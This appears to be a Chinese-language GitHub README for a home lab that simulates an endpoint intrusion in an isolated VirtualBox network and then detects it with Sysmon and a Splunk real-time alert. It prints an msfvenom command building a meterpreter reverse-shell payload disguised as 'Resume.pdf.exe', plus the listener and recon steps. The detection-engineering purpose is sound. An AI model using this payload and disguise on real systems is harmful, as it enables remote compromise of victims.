Muhammad-Hashir-9/Splunk-Sysmon-Detection-Lab

GitHub: Muhammad-Hashir-9/Splunk-Sysmon-Detection-Lab

一个家庭实验室项目,通过模拟终端入侵攻击链并构建 Splunk + Sysmon 检测管道,演示 SOC 检测工程师从攻击模拟到实时告警验证的完整闭环。

Stars: 0 | Forks: 0

# 家庭实验室检测工程与攻击模拟 ## 项目概述 本项目记录了一个隔离的家庭实验室,旨在模拟终端入侵并围绕它构建一个可用的检测 pipeline。在仅限内部通信的网络上,配置了一台 Windows 10 受害者虚拟机和一台 Kali Linux 攻击者虚拟机。生成、投递并执行了针对受害者的 reverse shell payload,使用 Sysmon 捕获终端遥测数据,并利用 Splunk 检测该活动并触发实时警报。 目标是走完一个 SOC/检测工程师工作的完整闭环:模拟 → 记录 → 检测 → 警报 → 验证。 ## 实验室架构与拓扑 - **攻击者节点**:Kali Linux — `192.168.20.11` - **受害者终端**:Windows 10 — `192.168.20.10` - **Hypervisor**:Oracle VM VirtualBox,仅限内部网络(无外部路由,与宿主机/互联网隔离) - **日志记录 / 检测栈**:Splunk Enterprise(本地安装在受害者虚拟机上)+ Microsoft Sysmon + Splunk Add-on for Sysmon(用于字段提取和解析) ![VirtualBox 内部网络配置](https://static.pigsec.cn/wp-content/uploads/repos/cas/23/239754de37b1027192b789eaff500476d83dc3a875e699040ebc6d8f32b0bb16.png) ``` flowchart LR A[msfvenom: generate Resume.pdf.exe payload] --> B[Host payload on Kali local server] B --> C[Download payload to Windows victim] C --> D[msfconsole: start listener] D --> E[Payload executed on victim] E --> F[Reverse shell caught in Kali] F --> G[Post-exploitation commands run] G --> H[Sysmon logs process creation - Event ID 1] H --> I[Splunk indexes log via Add-on for Sysmon] I --> J[SPL search surfaces parent/child process lineage] J --> K[Real-time alert rule fires] K --> L[Verified via Splunk, netstat, and Task Manager] ``` ## 技术实现 ### 1. 终端日志设置 Splunk Enterprise 直接安装在 Windows 受害者虚拟机上。Sysmon 已安装并完成配置,通过修改其日志记录配置 (`inputs.conf`) 来捕获进程创建及相关事件。安装了 **Splunk Add-on for Sysmon** 以正确解析并提取原始的 Sysmon XML 事件(映射 `parent_process_name`、`process_exec`、`CommandLine` 等字段),而不是让它们保持未解析的 XML 状态。 ### 2. 威胁模拟与攻击链 - **Payload 生成**:使用 `msfvenom` 生成 `windows/x64/meterpreter_reverse_tcp` payload,并将其命名为 `Resume.pdf.exe`,以模拟伪装的钓鱼文件。 msfvenom -p windows/x64/meterpreter_reverse_tcp lhost=192.168.20.11 lport=4444 -f exe -o Resume.pdf.exe ![msfvenom payload 生成](https://static.pigsec.cn/wp-content/uploads/repos/cas/f9/f99d20f18ed3b6aea9c041e25511447e0d0d0d51d2b17795fedb887b771801e8.png) - **投递**:将 payload 托管在 Kali 攻击者虚拟机的本地 Python HTTP 服务器上(`python -m http.server 9999`),并将其下载到 Windows 受害者虚拟机上。 ![通过 HTTP 提供的目录列表](https://static.pigsec.cn/wp-content/uploads/repos/cas/c6/c67a4e1f0ab268e6bbe81e517898e65084d3a78fe80688eb32ae2f6306e17442.png) ![显示 payload 下载的 Python HTTP 服务器日志](https://static.pigsec.cn/wp-content/uploads/repos/cas/1a/1a276dea787dcd0a8fa75b0d5411469b8e6a8ccf5c0feae7b82d89e7ed4fd9c4.png) - **执行与处理**:使用 `msfconsole` 设置 listener(`exploit/multi/handler`,LHOST 为 `192.168.20.11`,LPORT 为 `4444`)。在受害者上执行 payload 后,在 Kali 攻击者机器上成功获取了一个 reverse shell。 ![Metasploit multi/handler 选项](https://static.pigsec.cn/wp-content/uploads/repos/cas/e9/e95b7a0f61d685f127fb711c2524d44a089c558655cfd388d2cbc65002047652.png) - **权限维持后的操作**:从生成的 shell 中运行基本的侦测命令(`whoami`、`ipconfig`、`net user`)。 ![权限维持后的侦测命令](https://static.pigsec.cn/wp-content/uploads/repos/cas/79/79c603643b4a0c9d0a699a1749c712ab72237ee08c8ccb3350276531dba01955.png) ### 3. 检测与验证 入侵通过多个独立来源进行了验证,而不仅仅是依靠 SIEM: - **Splunk**:通过已索引的 Sysmon 日志确认了恶意进程链。 - **netstat**:在 OS 层面确认了从受害者到攻击者的活动出站连接(`netstat -ano` 显示了指向攻击者投递端口 `9999` 和 C2 端口 `4444` 的 `ESTABLISHED` 连接)。 - **任务管理器**:确认 `Resume.pdf.exe` 作为活跃进程在受害者用户账户下运行。 ![netstat 和任务管理器验证](https://static.pigsec.cn/wp-content/uploads/repos/cas/9c/9cf512afd0ff2ca9bc3bbb6875f04b092a30ae31eaf6f7c891ded02db01812b6.png) ### 4. Splunk 检测工程 **进程血统搜索(通过 ProcessGuid 关联):** ``` index=endpoint {ProcessGuid} | table _time, ParentImage, Image, CommandLine ``` ![Splunk 进程血统搜索结果](https://static.pigsec.cn/wp-content/uploads/repos/cas/11/1141911fc54e323ca72dc9d7b50be320d390749559e727fd3ffffd4640176eb4.png) **实时警报规则** —— 当伪装成 PDF 的进程生成命令 shell 或 PowerShell 作为子进程时触发: ``` index=endpoint sourcetype=XmlWinEventLog:Sysmon EventCode=1 ParentCommandLine="*.pdf.exe*" (Image="*cmd.exe" OR Image="*powershell.exe*") ``` 此警报(“通过钓鱼 Payload 生成的可疑进程”)被配置为实时、逐结果触发的高严重性警报,并通过多次重新运行攻击链进行了验证,确认其每次都能正确触发。 ![Splunk 警报配置概述](https://static.pigsec.cn/wp-content/uploads/repos/cas/3a/3af52ed81c5c1187d276fa4d945e7b485bedbd5945a5cb2ffc1040e84a48a329.png) ![Splunk 已触发警报历史记录](https://raw.githubusercontent.com/Muhammad-Hashir-9/Splunk-Sysmon-Detection-Lab/master/images/splunk-triggered-alerts.png) ## 关键要点 - 构建并验证了完整的端到端检测闭环:攻击模拟 → 遥测数据捕获 → SIEM 接入 → 检测逻辑 → 警报 → 验证。 - 学会了关联 Sysmon 的进程血统字段(`ParentCommandLine`、`Image`、`ProcessGuid`),从而将生成的子进程追溯至其原始(恶意)父进程。 - 实践了跨多个数据源(SIEM + OS 原生工具)验证发现,而不是仅依赖单一工具。 ## 结论 该实验室设置是在遵循指导性家庭实验室教程的基础上构建的,用于初始环境和攻击模拟。检测警报(SPL 查询设计、实时警报配置和验证测试)是作为教程之外的延伸,独立设计并实施的。
标签:Go语言工具, Sysmon, 安全运营, 扫描框架, 攻击模拟, 驱动签名利用